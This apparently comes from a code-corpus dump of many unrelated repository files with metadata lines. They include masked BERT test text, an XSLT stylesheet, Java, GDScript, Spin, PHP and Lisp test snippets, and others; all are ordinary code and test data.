<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> rozbitými <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> onou upjatou <pad> <pad> <pad> amerických <pad> <pad>
Je <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> Hon <pad> <pad> <pad> ) <pad> <pad> <pad> <pad> poselství <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> nás <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> " A <pad> <pad> <pad> <pad> <pad> <pad> <pad> ovci <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> a <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> příkaz <pad> <pad> kriminálníka s <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ovci <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> , jejíž <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> který <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , hrubě <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jiného <pad>
<pad> Murakami <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> " <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> se <pad> <pad> vydání <pad> <pad> <pad> <pad> <pad> prodalo <pad> než <pad> <pad> <pad> <pad>
<pad> <pad> <pad> jedním <pad> <pad> <pad> spisovatelů <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> japonské <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> jazykem <pad> <pad> <pad> obvykle <pad> <pad> <pad> <pad> <pad> <pad>
V <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> wa <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> baseballu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> " <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ctností <pad> <pad> <pad> <pad> " <pad>
" <pad> <pad> <pad> <pad> <pad> <pad> duch <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jako <pad> průměrný <pad> <pad> <pad> <pad>
Průzkumy <pad> <pad> <pad> <pad> <pad> Tatsunoriho <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> symbol <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> je <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> chybné <pad> pomocníkům na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ztráty <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> přísný <pad> chování <pad> <pad> <pad> <pad> <pad> například <pad> <pad> <pad> musí <pad> <pad> <pad> nosit <pad> <pad>
<pad> <pad> Gotta Have <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> často <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> .
<pad> <pad> obrovské <pad> <pad> <pad> <pad> <pad> <pad> to <pad> <pad> se vztyčí <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> ( <pad> <pad> <pad> <pad> <pad> <pad> <pad> 228 <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
Je <pad> <pad> <pad> <pad> <pad> <pad> <pad> na stáži <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> ale <pad> <pad> <pad> občas <pad> kousavých <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> těch <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> dotěrným <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> černého <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ze <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> generálním <pad> <pad> <pad> <pad> že společnost Sony <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> přidělit <pad> nějakou <pad> <pad>
To <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> z ekonomiky <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> neuvěřitelně <pad> <pad>
<pad> <pad> <pad> se <pad> <pad> <pad> amerických učebnic <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , když <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> hanba <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> přiučil <pad> <pad> <pad> <pad> <pad> <pad> pan <pad> <pad> <pad>
Paní <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> se <pad> <pad> <pad> <pad> <pad>
<pad> <pad> požaduje <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> před <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> že <pad> <pad> soukromé <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> povoleno <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> veřejných <pad> <pad> <pad> a <pad> <pad> rychlého <pad> <pad>
<pad> <pad> <pad> <pad> Zaharah <pad> <pad> <pad> ministra <pad> <pad> <pad> <pad> " Týden <pad> kouření <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad>
V <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> odstranili <pad> <pad> <pad> tabule <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> trh <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad>
<pad> průzkum <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> vypracovaná <pad> <pad> <pad> <pad> <pad> <pad> <pad> , že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> než <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> zákazníků <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Japonsku <pad> <pad> <pad> <pad> <pad> třetina <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> jsou <pad> ve <pad> <pad> <pad> <pad> <pad> <pad> USA <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> a <pad> <pad> <pad> v <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> na <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Světové <pad> <pad> <pad> <pad> <pad> za <pad> roky <pad>
<pad> <pad> <pad> <pad> <pad> do <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> hotelu Central Plaza <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> za <pad> <pad> <pad> <pad>
Současný <pad> <pad> <pad> obavy <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> zaslal <pad> <pad> Mezinárodního <pad> <pad> s <pad> <pad> <pad> <pad> <pad> <pad> přijetí <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> 1979 <pad> <pad> žádost <pad> obnovena <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> zapojit <pad> <pad> <pad> <pad> <pad> v <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Světové <pad> <pad> <pad> .
<pad> <pad> ' <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> stal <pad> <pad> <pad> <pad> který se <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> provedení <pad> <pad> <pad>
<pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dosud <pad> <pad> <pad> <pad> nebyla <pad> <pad> , <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> dobu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> ze zahraničí <pad>
<pad> <pad> <pad> <pad> domácností <pad> elektřinu <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> tisková <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> s <pad> <pad> <pad> <pad> <pad> <pad> <pad> .
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Polskem , že <pad> <pad> <pad> varšavské <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> vítězství ekologické <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> rakouské <pad> <pad>
<pad> přehrada <pad> <pad> <pad> <pad> další <pad> <pad> <pad> <pad> nacházející <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> Miklose <pad> <pad> aby <pad> <pad> <pad> <pad> <pad> <pad> <pad> , <pad> <pad> <pad> <pad> <pad> <pad> požadována <pad>
<pad> <pad> <pad> <pad> řekl <pad> že <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> i <pad> <pad> <pad>
<pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad> smlouva <pad> <pad> <pad> <pad> dodržena <pad> mohlo <pad> <pad> <pad> <pad> <pad> <pad> <pad> <pad>
| Mask | 0 | ufal/neuralmonkey | tests/data/bert/train.pcedt.forms.mask | [
"BSD-3-Clause"
] |
<?xml version="1.0"?>
<!-- this stylesheet builds the API*.html , it works based on libxml2-refs.xml
-->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl"
exclude-result-prefixes="exsl">
<!-- Import the rest of the site stylesheets -->
<xsl:import href="site.xsl"/>
<!-- Generate XHTML-1.0 transitional -->
<xsl:output method="xml" encoding="UTF-8" indent="yes"
doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"
doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"/>
<xsl:variable name="href_base" select="''"/>
<xsl:template name="statistics">
<h2> weekly statistics: </h2>
<p><xsl:value-of select="@total"/> total words,
<xsl:value-of select="@uniq"/> uniq words.</p>
<p> Top <xsl:value-of select="@nr"/> queries:</p>
</xsl:template>
<xsl:template match="query">
<br/><a href="search.php?query={string(.)}"><xsl:value-of
select="string(.)"/></a>
<xsl:text> </xsl:text><xsl:value-of select="@count"/> times.
</xsl:template>
<xsl:template match="queries">
<xsl:variable name="date" select="@date"/>
<xsl:variable name="title">Search statistics for <xsl:value-of select="$date"/></xsl:variable>
<xsl:document href="searches.html" method="xml" encoding="UTF-8"
doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"
doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<xsl:call-template name="style"/>
<xsl:element name="title">
<xsl:value-of select="$title"/>
</xsl:element>
</head>
<body bgcolor="#8b7765" text="#000000" link="#a06060" vlink="#000000">
<xsl:call-template name="titlebox">
<xsl:with-param name="title" select="$title"/>
</xsl:call-template>
<table border="0" cellpadding="4" cellspacing="0" width="100%" align="center">
<tr>
<td bgcolor="#8b7765">
<table border="0" cellspacing="0" cellpadding="2" width="100%">
<tr>
<td valign="top" width="200" bgcolor="#8b7765">
<xsl:call-template name="toc"/>
</td>
<td valign="top" bgcolor="#8b7765">
<table border="0" cellspacing="0" cellpadding="1" width="100%">
<tr>
<td>
<table border="0" cellspacing="0" cellpadding="1" width="100%" bgcolor="#000000">
<tr>
<td>
<table border="0" cellpadding="3" cellspacing="1" width="100%">
<tr>
<td bgcolor="#fffacd">
<xsl:call-template name="statistics"/>
<p>
<xsl:apply-templates select="query"/>
</p>
<p><a href="{$href_base}bugs.html">Daniel Veillard</a></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
</xsl:document>
</xsl:template>
<xsl:template match="/">
<xsl:apply-templates select="queries"/>
</xsl:template>
</xsl:stylesheet>
| XSLT | 4 | yapingxin/libxml2 | v2.9.7/libxml2-2.9.7/doc/searches.xsl | [
"MIT"
] |
package com.baeldung.filesystem.jndi;
import java.io.File;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LookupFSJNDI {
private InitialContext ctx = null;
public LookupFSJNDI() throws NamingException {
super();
init();
}
private void init() throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.fscontext.RefFSContextFactory");
// URI to namespace (actual directory)
env.put(Context.PROVIDER_URL, "file:./src/test/resources");
ctx = new InitialContext(env);
}
public InitialContext getCtx() {
return ctx;
}
public File getFile(String fileName) {
File file;
try {
file = (File) getCtx().lookup(fileName);
} catch (NamingException e) {
file = null;
}
return file;
}
}
| Java | 4 | zeesh49/tutorials | core-java/src/main/java/com/baeldung/filesystem/jndi/LookupFSJNDI.java | [
"MIT"
] |
economy
bigmac -c USA,GBR
meats
q
economy
grains
fred
add dgs10,dgs5
search gdp
plot --raw
q
energy
reset
exit | Gosu | 1 | minhhoang1023/GamestonkTerminal | scripts/test_econ_fred.gst | [
"MIT"
] |
extends GridContainer
class_name PaletteGrid
signal swatch_pressed(mouse_button, index)
signal swatch_double_clicked(mouse_button, index, position)
signal swatch_dropped(source_index, target_index)
const PaletteSwatchScene := preload("res://src/Palette/PaletteSwatch.tscn")
# Must be integer values
const MAX_GRID_SIZE = Vector2(8, 8)
var swatches := [] # PaletteSwatch
var displayed_palette = null
var grid_window_origin := Vector2.ZERO
var grid_size := Vector2(8, 8)
func _ready():
init_swatches()
func init_swatches() -> void:
columns = grid_size.x
for j in range(grid_size.y):
for i in range(grid_size.x):
var index: int = i + grid_size.x * j
var swatch: PaletteSwatch = PaletteSwatchScene.instance()
swatch.index = index
swatch.color = PaletteSwatch.DEFAULT_COLOR
swatch.show_left_highlight = false
swatch.show_right_highlight = false
swatch.empty = true
swatch.connect("pressed", self, "_on_PaletteSwatch_pressed", [index])
swatch.connect("double_clicked", self, "_on_PaletteSwatch_double_clicked", [index])
swatch.connect("dropped", self, "_on_PaletteSwatch_dropped")
add_child(swatch)
swatches.push_back(swatch)
# Origin determines a position in palette which will be displayed on top left of grid
func display_palette(palette: Palette) -> void:
# Reset grid origin when palette changes
if displayed_palette != palette:
displayed_palette = palette
grid_window_origin = Vector2.ZERO
# Only display valid palette objects
if not palette:
return
if swatches.size() == 0:
init_swatches()
if palette.width < MAX_GRID_SIZE.x or palette.height < MAX_GRID_SIZE.y:
grid_size = Vector2(min(palette.width, MAX_GRID_SIZE.x), min(palette.height, MAX_GRID_SIZE.y))
clear_swatches()
init_swatches()
elif palette.width >= MAX_GRID_SIZE.x and palette.height >= MAX_GRID_SIZE.y and grid_size != MAX_GRID_SIZE:
grid_size = MAX_GRID_SIZE
clear_swatches()
init_swatches()
# Create empty palette buttons
for j in range(grid_size.y):
for i in range(grid_size.x):
var grid_index: int = i + grid_size.x * j
var index: int = convert_grid_index_to_palette_index(grid_index)
var swatch = swatches[grid_index]
swatch.show_left_highlight = false
swatch.show_right_highlight = false
var color = palette.get_color(index)
if color != null:
swatch.color = color
swatch.empty = false
else:
swatch.color = PaletteSwatch.DEFAULT_COLOR
swatch.empty = true
func scroll_palette(origin: Vector2) -> void:
grid_window_origin = origin
display_palette(displayed_palette)
# Removes all swatches
func clear_swatches() -> void:
swatches.clear()
for swatch in get_children():
swatch.queue_free()
# Displays a left/right highlight over a swatch
func select_swatch(mouse_button: int, palette_index: int, old_palette_index: int) -> void:
var index = convert_palette_index_to_grid_index(palette_index)
var old_index = convert_palette_index_to_grid_index(old_palette_index)
if index >= 0 and index < swatches.size():
# Remove highlight from old index swatch and add to index swatch
if old_index >= 0 and old_index < swatches.size():
# Old index could be undefined when no swatch was previously selected
swatches[old_index].show_selected_highlight(false, mouse_button)
swatches[index].show_selected_highlight(true, mouse_button)
func unselect_swatch(mouse_button: int, palette_index: int) -> void:
var index = convert_palette_index_to_grid_index(palette_index)
if index >= 0 and index < swatches.size():
swatches[index].show_selected_highlight(false, mouse_button)
func set_swatch_color(palette_index: int, color: Color) -> void:
var index = convert_palette_index_to_grid_index(palette_index)
if index >= 0 and index < swatches.size():
swatches[index].color = color
func get_swatch_color(palette_index: int) -> Color:
var index = convert_palette_index_to_grid_index(palette_index)
if index >= 0 and index < swatches.size():
return swatches[index].color
return Color.transparent
# Used to reload empty swatch color from a theme
func reset_empty_swatches_color() -> void:
for swatch in swatches:
if swatch.empty:
swatch.empty = true
func _on_PaletteSwatch_pressed(mouse_button: int, index: int) -> void:
var palette_index = convert_grid_index_to_palette_index(index)
emit_signal("swatch_pressed", mouse_button, palette_index)
func _on_PaletteSwatch_double_clicked(mouse_button: int, position: Vector2, index: int) -> void:
var palette_index = convert_grid_index_to_palette_index(index)
emit_signal("swatch_double_clicked", mouse_button, palette_index, position)
func _on_PaletteSwatch_dropped(source_index: int, target_index: int) -> void:
var palette_source_index = convert_grid_index_to_palette_index(source_index)
var palette_target_index = convert_grid_index_to_palette_index(target_index)
emit_signal("swatch_dropped", palette_source_index, palette_target_index)
# Grid index adds grid window origin
func convert_grid_index_to_palette_index(index: int) -> int:
return int(index / grid_size.x + grid_window_origin.y) * displayed_palette.width + (index % int(grid_size.x) + grid_window_origin.x)
func convert_palette_index_to_grid_index(palette_index: int) -> int:
var x: int = palette_index % displayed_palette.width
var y: int = palette_index / displayed_palette.width
return int((x - grid_window_origin.x) + (y - grid_window_origin.y) * grid_size.x)
| GDScript | 5 | triptych/Pixelorama | src/Palette/PaletteGrid.gd | [
"MIT"
] |
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
int xsusage_one() { return 1; }
int xsusage_two() { return 2; }
int xsusage_three() { return 3; }
int xsusage_four() { return 4; }
int xsusage_five(int i) { return 5; }
int xsusage_six(int i) { return 6; }
MODULE = XSUsage PACKAGE = XSUsage PREFIX = xsusage_
PROTOTYPES: DISABLE
int
xsusage_one()
int
xsusage_two()
ALIAS:
two_x = 1
FOO::two = 2
int
interface_v_i()
INTERFACE:
xsusage_three
int
xsusage_four(...)
int
xsusage_five(int i, ...)
int
xsusage_six(int i = 0)
| XS | 4 | vlinhd11/vlinhd11-android-scripting | perl/src/lib/ExtUtils/ParseXS/t/XSUsage.xs | [
"Apache-2.0"
] |
def foo: "baz";
def f: "wat";
def f: "foo";
def g: "bar";
def fg: f+g;
| JSONiq | 0 | aakropotkin/jq | tests/modules/home1/.jq | [
"CC-BY-3.0"
] |
<html>
<body>
<script type="text/javascript" charset="utf-8">
var windowUrl = decodeURIComponent(window.location.search.substring(3))
window.open('file://' + windowUrl, '', 'nodeIntegration=yes,show=no')
addEventListener("message", (ev) => {
console.log(JSON.stringify(ev.data))
})
</script>
</body>
</html>
| HTML | 3 | lingxiao-Zhu/electron | spec/fixtures/pages/webview-opener-no-node-integration.html | [
"MIT"
] |
package com.github.mikephil.charting.data;
import com.github.mikephil.charting.interfaces.datasets.ICandleDataSet;
import java.util.ArrayList;
import java.util.List;
public class CandleData extends BarLineScatterCandleBubbleData<ICandleDataSet> {
public CandleData() {
super();
}
public CandleData(List<ICandleDataSet> dataSets) {
super(dataSets);
}
public CandleData(ICandleDataSet... dataSets) {
super(dataSets);
}
}
| Java | 3 | dmanims/graph | MPChartLib/src/main/java/com/github/mikephil/charting/data/CandleData.java | [
"Apache-2.0"
] |
(while True
(print "a" :end ""))
| Hy | 0 | joseywoermann/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | aaa.hy | [
"MIT"
] |
# This file is a part of Julia. License is MIT: https://julialang.org/license
using Test, Zlib_jll
@testset "Zlib_jll" begin
@test VersionNumber(unsafe_string(ccall((:zlibVersion, libz), Cstring, ()))) == v"1.2.11"
end
| Julia | 4 | jonas-schulze/julia | stdlib/Zlib_jll/test/runtests.jl | [
"MIT"
] |
{{
$Id: test[Bits].spin 9 2011-11-30 06:05:39Z pedward $
Author: Perry Harrington
Copyright: (c) 2011 Perry Harrington
=======================================================================
Test template
}}
CON
_clkmode = xtal1 + pll16x
_xinfreq = 5_000_000
OBJ
pst: "Parallax Serial Terminal"
Bits: "Arduino_light"
PUB main | a,x,b
pst.start(115200) 'debug output
a := $AA55
pst.Str(String(pst#NL, "A:"))
pst.Hex(a,4)
a := Bits.lowByte(a)
pst.Str(String(pst#NL, "lowByte:"))
pst.Hex(a,4)
a := $AA55
a := Bits.highByte(a)
pst.Str(String(pst#NL, "highByte:"))
pst.Hex(a,4)
a := $AA55
pst.Str(String(pst#NL, "bitRead:"))
repeat x from 0 to 15
pst.Dec(Bits.bitRead(a,x))
a := $FFFF
repeat x from 0 to 15
Bits.bitWrite(@a,x,0)
pst.Str(String(pst#NL, "bitWrite0("))
pst.Hex(x,1)
pst.Str(String("):"))
pst.Hex(a,4)
a := $0000
repeat x from 0 to 15
Bits.bitWrite(@a,x,1)
pst.Str(String(pst#NL, "bitWrite1("))
pst.Hex(x,1)
pst.Str(String("):"))
pst.Hex(a,4)
a := $0000
repeat x from 0 to 15
Bits.bitSet(@a,x)
pst.Str(String(pst#NL, "bitSet:"))
pst.Hex(a,4)
a := $FFFF
repeat x from 0 to 15
Bits.bitClear(@a,x)
pst.Str(String(pst#NL, "bitClear:"))
pst.Hex(a,4)
repeat x from 0 to 31
pst.Str(String(pst#NL, "bit(x):"))
pst.Hex(Bits.bit(x),8)
| Propeller Spin | 5 | deets/propeller | libraries/community/p1/All/Arduino-compatible LIGHT/Auxiliary_Files/testBits.spin | [
"MIT"
] |
package com.baeldung.grails
class Student {
String firstName
String lastName
}
| Groovy | 2 | zeesh49/tutorials | grails/grails-app/domain/com/baeldung/grails/Student.groovy | [
"MIT"
] |
/W [ 32 32 170 34 [ 418 373 373 423 448 240 353 311 461 514 106 515 279 423 ]
58 [ 272 147 458 474 458 373 682 ]
123 123 224 125 125 224 169 169 510 171 [ 344 382 ]
174 [ 367 458 167 ]
183 183 296 187 187 338 215 215 475 247 247 528 1548 1548 250 1563 1563 280 1567 1567 421 1569 [ 390 326 232 432 232 670 232 828 421 826 829 ]
1580 1582 631 1583 [ 535 535 426 426 1151 1149 1185 1185 533 535 625 625 ]
1600 [ 243 837 697 797 684 588 674 421 432 670 670 ]
1611 1618 0 1619 1619 462 1620 1622 0 1632 [ 309 283 508 642 539 652 501 629 629 521 529 483 145 458 ]
1648 1648 0 1649 1651 232 1653 [ 162 432 ]
1656 1656 670 1662 1662 832 1670 1670 631 1688 1688 435 1697 1697 837 1705 1705 824 1711 1711 821 1726 1726 597 1728 1728 421 1740 1740 670 1749 1749 421 1759 1759 0 1770 1771 0 1773 1773 0 1776 [ 309 283 508 642 629 729 545 629 629 521 ]
3663 3664 505 8204 8207 0 8211 [ 178 763 ]
8216 [ 211 236 171 ]
8220 [ 326 308 280 ]
8224 [ 382 382 381 ]
8230 8230 749 8240 8240 644 8249 8250 458 8260 8260 304 8364 8364 700 57344 [ 0 333 437 383 148 211 353 334 326 304 0 445 891 842 703 837 1172 269 272 697 ]
57364 57366 269 57367 [ 464 670 195 377 ]
59416 59416 0 59450 59450 419 64337 64337 269 64343 [ 891 304 383 ]
64379 [ 620 537 537 ]
64395 64395 477 64399 [ 916 438 539 ]
64403 [ 916 426 537 ]
64420 [ 421 579 240 ]
64427 64427 416 64485 64485 502 64509 [ 670 304 383 ]
64605 64605 670 64606 64611 0 64754 64756 243 64830 [ 353 311 ]
65010 65010 1172 65137 65137 243 65143 65143 243 65145 65145 243 65147 65147 243 65149 65149 243 65151 [ 243 390 ]
65154 65154 269 65156 65156 269 65158 65158 464 65160 65160 269 65162 [ 670 304 383 232 269 ]
65168 [ 891 304 383 ]
65172 65172 579 65174 [ 891 304 383 ]
65178 [ 891 304 383 ]
65182 [ 620 537 537 ]
65186 [ 620 537 537 ]
65190 [ 620 537 537 ]
65194 65194 643 65196 65196 643 65198 65198 477 65200 65200 477 65202 [ 1195 756 814 ]
65206 [ 1195 756 814 ]
65210 [ 1172 771 814 ]
65214 [ 1172 771 814 ]
65218 [ 543 512 493 ]
65222 [ 543 512 493 ]
65226 [ 621 471 433 ]
65230 [ 621 471 433 ]
65234 [ 842 437 445 ]
65238 [ 703 437 445 ]
65242 [ 849 438 539 ]
65246 [ 733 226 311 ]
65250 [ 657 435 471 ]
65254 [ 740 304 383 ]
65258 65258 579 65262 65262 464 65264 65264 670 65266 [ 670 304 ]
65269 [ 544 583 521 579 520 570 523 548 ]
] | Redcode | 0 | arashdeveloper1380/LaravelDigikala | app/lib/mpdf/ttfontdata/yekanB.cw | [
"MIT"
] |
--TEST--
Bug #27443 (defined() returns wrong type)
--FILE--
<?php
echo gettype(defined('test'));
?>
--EXPECT--
boolean
| PHP | 4 | guomoumou123/php5.5.10 | tests/lang/bug27443.phpt | [
"PHP-3.01"
] |
-#
-# Copyright (C) 2009-2011 the original author or authors.
-# See the notice.md file distributed with this work for additional
-# information regarding copyright ownership.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-@ import val form: sample.SomeForm
-@ val messages: sample.SomeMessages
%html(lang="en")
%h1 Please enter some data
=collection(messages.getMessages())
%form{:action => "/form_submit"}
%input{:type => "text", :name => "s", :value => {form.getS()}}
%input{:type => "submit", :value => "Submit"}
%p
This is from form.scaml | Scaml | 3 | arashi01/scalate-samples | scalate-sample-spring-mvc-servletcontext/src/main/webapp/WEB-INF/view/form.scaml | [
"Apache-2.0"
] |
(test (= (tr '(1 2 3) 0 +) 6))
(let (v '(1 2 3 4 5)
t1 (tfilt (fun (x) (< x 4)))
t2 (tmap (fun (x) (+ x 42)))
ts (t@ push t1 t2)
rts (t@@ push (vec t1 t2)..))
(test
(= (tr v 0 (t1 +)) 6)
(= (tr v () (t2 push)) '(43 44 45 46 47))
(= (tr v () ts) '(43 44 45))
(= (tr v () rts) '(43 44 45))))
(let (v '(1 2 3 4 5)
t (tmap (fun (x) (+ x 42)) push))
(test (= (tr v () t) '(43 44 45 46 47))))
(let (v '(1 2 ((3 4) 5)))
(test (= (tr v () (tcat push)) '(1 2 (3 4) 5)))
(test (= (tr v () (tflat push)) '(1 2 3 4 5))))
(test (= (t@ 41 (fun (x) (inc x))) 42))
(test (= (loop (break 'foo)) 'foo))
(let (i 0)
(test
(= (loop (inc i) (if (= i 42) (break 'done) (continue))) 'done)
